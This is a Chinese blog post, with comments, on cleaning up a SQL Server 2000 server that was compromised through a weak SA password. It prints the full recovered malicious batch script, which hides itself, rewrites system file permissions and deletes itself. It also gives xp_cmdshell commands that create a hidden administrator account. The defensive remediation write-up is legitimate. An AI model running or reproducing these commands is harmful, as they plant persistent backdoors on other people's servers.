龙三公子博客 - 让自己的内心藏着一条巨龙,既是一种苦刑,也是一种乐趣!
龙三公子博客是一个草根站!一个业余电脑爱好者的独立博客,博客内容综合,主要有电脑网络、健康养生、日常生活等!

sql2000自动停止病毒windowsupdato.bat批处理解析

    前两天帮一个朋友处理一个病毒问题,因为也是第一次遇见,当时也折腾了我半天,所以把经验分享下来,以便后者对症下药。这个毒实际上是利用SQL的空口令或弱口令注入式攻击。当朋友向我求救时,症状已经非常明显了:

    1、sql2000服务过一会儿自动停止,重新启用后过一会儿又停止。

    2、系统被添加了五六个帐户,其中还有隐藏帐户,而且个个被提权成管理权限

    3、系统的远程帐户也被开启。

    4、杀毒软件经常报有黑客攻击,且能被清除,实际上都是被替换的系统文件。

    5、注册表启动项都有一个自动启动批处理(详见下文)

    6、系统盘里有许多被感染的可执行文件,还有一些其它类似的批处理。

    7、SQL的安全帐户里多了一个被提权的跟SA同权限的帐号

    8、SQL的存储过程被破坏,SA密码也不能修改

 

    以上基本上就是很明显的症状了。经常搞维护的,看到这些基本上也能知道原因了。但是因为我帮他全是远程,所以有些问题不好弄,我是叫他自己处理的。当时是叫他参考了网上这篇文章http://bbs.51cto.com/thread-1012860-1.html,结果他硬是没搞掂,搞好后又有了。最后我只好一步步把方法说给他听,这里我们先看一下上面我说的批处理全文吧:

@echo off

if "%1" == "h" goto begin

mshta vbscrIPt:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exIT

:begin

REM

del c:\dOCume~1\alluse~1\「开始」菜单\程序\启动\360.bat

del c:\docume~1\alluse~1\「开始」菜单\程序\启动\360.vbs

copy c:\windows\system32\cacls.exe C:\WINDOWS\system32\Com\CINTLCA.IMD

c:\windows\system32\cacls.exe C:\WINDOWS\system32\Com\CINTLCA.IMD /e /g system:f

c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.vbs /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.inf /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.bat /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.txt /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\cmd /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\cmd.exe /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\FTP.exe /e /d system

c:\windows\system32\cacls.exe C:\WINDOWS\system32\p.exe /e /d system

c:\windows\system32\cacls.exe c:\windows\help\akples.exe /e /d system

c:\windows\system32\cacls.exe c:\windows\system32\regsvr32.exe /e /g system:

c:\windows\system32\cacls.exe c:\windows\system32\urlmon.dll /e /g system:f

c:\windows\system32\cacls.exe c:\windows\system32\shdocvw.dll /e /g system:f

c:\windows\system32\cacls.exe c:\windows\system32\jscript.dll /e /g system:f

c:\windows\system32\cacls.exe c:\windows\system32\vbscript.dll /e /g system:f

c:\windows\system32\cacls.exe c:\windows\system32\wshom.ocx /e /g system:f

regsvr32 /u /s wshom.ocx scrrun.dll

regsvr32 /s wshom.ocx scrrun.dll

net2 start mssqlserver

net1 start mssqlserver

del c:\windows\system32\c_29403011.nls

del c:\windows\system\windowsupdato.bat

del %0

exit

这个就是我从他电脑上下过来的,就不用分析了,跟上面我叫他参考的文章说的几乎一样,其中的利害与否里面也说的特详细。上面的8大症状是必须解决的,因为这个是被植入了后门,所以联网操作是不可能彻底断根解决的,必须断网。现在我说一下我的处理步骤与方法,朋友按着此操作来终于平息了:

    1、断网。然后删除被添加的帐户,关闭开启的远程桌面

    2、用最新杀毒软件和木马扫描软件全盘扫描,这样可以清除一些活动的病毒和木马,同时用360的一款防黑加固作下保护。

    3、一些批处理文件扫不出来,去系统盘windows、system、system32下根据时间找出来直接删除。

    4、清除启动项和注册表启动项,其中就有这个批处理。

    5、接下来就是修复SQL或者重装SQL了,重装也好,修复也好,最安全的作法都是要给SA帐户设置复杂的密码,必须打SP4补丁,同时删除不需要的存储过程XP_cmdshell,还修改SQL默认端口号1433并隐藏服务器。下面我只说修复:

    由于被病毒破坏了,所以这时SQL是不能修改密码的,会提示:错误2812:未能找到存储过程'sp_password',下边是解决代码,用WINDOWS身份验证登陆到SQL SERVER的查询工具,复制--粘贴--执行就OK拉。最后再修改复杂密码。

create procedure sp_password

@old sysname = NULL, -- the old (current) password

@new sysname, -- the new password

@loginame sysname = NULL -- user to change password on

as

-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

set nocount on

declare @self int

select @self = CASE WHEN @loginame is null THEN 1 ELSE 2 END

 

-- RESOLVE LOGIN NAME

if @loginame is null

select @loginame = suser_sname()

 

-- CHECK PERMISSIONS (SecurityAdmin per Richard Waymire) --

IF (not is_srvrolemember('securityadmin') = 1)

AND not @self = 1

begin

dbcc auditevent (107, @self, 0, @loginame, NULL, NULL, NULL)

rAIserror(15210,-1,-1)

return (1)

end

ELSE

begin

dbcc auditevent (107, @self, 1, @loginame, NULL, NULL, NULL)

end

 

-- DISALLOW USER TRANSACTION --

set implicit_transactions off

IF (@@trancount > 0)

begin

raiserror(15002,-1,-1,'sp_password')

return (1)

end

 

-- RESOLVE LOGIN NAME (disallows nt names)

if not exists (select * from master.dbo.syslogins where

loginname = @loginame and isntname = 0)

begin

raiserror(15007,-1,-1,@loginame)

return (1)

end

 

-- IF non-SYSADMIN ATTEMPTING CHANGE TO SYSADMIN, REQUIRE PASSWORD (218078) --

if (@self <> 1 AND is_srvrolemember('sysadmin') = 0 AND exists

(SELECT * FROM master.dbo.syslogins WHERE loginname = @loginame and isntname = 0

AND sysadmin = 1) )

SELECT @self = 1

 

-- CHECK OLD PASSWORD IF NEEDED --

if (@self = 1 or @old is not null)

if not exists (select * from master.dbo.sysxlogins

where srvid IS NULL and

name = @loginame and

( (@old is null and password is null) or

(pwdcompare(@old, password, (CASE WHEN xstatus&2048 = 2048 THEN 1 ELSE 0 END)) = 1) ) )

begin

raiserror(15211,-1,-1)

return (1)

end

 

-- CHANGE THE PASSWORD --

update master.dbo.sysxlogins

set password = convert(varbinary(256), pwdencrypt(@new)), xdate2 = getdate(), xstatus = xstatus & (~2048)

where name = @loginame and srvid IS NULL

 

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --

exec('use master grant all to null')

 

-- FINALIZATION: RETURN SUCCESS/FAILURE --

if @@error <> 0

return (1)

raiserror(15478,-1,-1)

return (0) -- sp_password

 

然后还有一步就是清除一个不必要的存储过程xp_cmdshell,这是个危险性最高的扩展存储过程,它可以执行操作系统的任何指令,而SA是 Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

 

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'

 

这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户。8大症状中出现的被添加的系统帐户就是这样来的。

 

删除XP_cmdshell存储过程语句如下:

 

use master

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

 

密码改好,存储过程清除,最后一个安全的就是更改1433端口号同时隐藏服务器了(这个方法略了,自己可以g.cn或者度娘,实在不会你就留言吧),防止恶意扫描等。

    6、以上五步作完,可重启电脑仍在断网情况下可再次扫描一次。直到杀软不再报为止。最后可以联网了,如果你还不放心可以再来一次全盘扫描,这样就基本上阻止了再次复发事件,问题彻底解决。

 

打赏 sql2000自动停止病毒windowsupdato.bat批处理解析  病毒 电脑 sql2000 批处理 第1张支付宝打赏 sql2000自动停止病毒windowsupdato.bat批处理解析  病毒 电脑 sql2000 批处理 第2张微信打赏
爆品精选

标签: 病毒 电脑 sql2000 批处理
分类:电脑网络| 发布:xiadao81| 查看:3441 | 发表时间:2013-03-01
原创文章如转载,请注明:转载自龙三公子博客 https://www.mybabycastle.com/
本文链接:https://www.mybabycastle.com/post/242.html

龙三公子 2013-03-04 18:49:31 回复

本人亲测,如果你遇到了类似问题,可以这样一试,如果还有问题,请留言。欢迎再次光临。

xiadao81 2013-03-02 15:50:06 回复

是的,被替换许多系统文件,扫描时可以修复的。

成都减肥训练营 2014-04-04 00:49:49 回复

很不错,谢谢分享········noxEb

ixwebhosting 2013-03-03 18:37:37 回复

谢谢分享,看起来好强大的

龙三公子 2013-03-04 18:49:31 回复

本人亲测,如果你遇到了类似问题,可以这样一试,如果还有问题,请留言。欢迎再次光临。

减肥药 2013-03-02 15:29:17 回复

替换的系统文件

xiadao81 2013-03-02 15:50:06 回复

是的,被替换许多系统文件,扫描时可以修复的。
已经有 ( 3 ) 位网友发表了评论,你也评一评吧!  

Design By XvDesign.Com | Power By Z-BlogPHP 1.7.3
点击关闭
  • 联系客服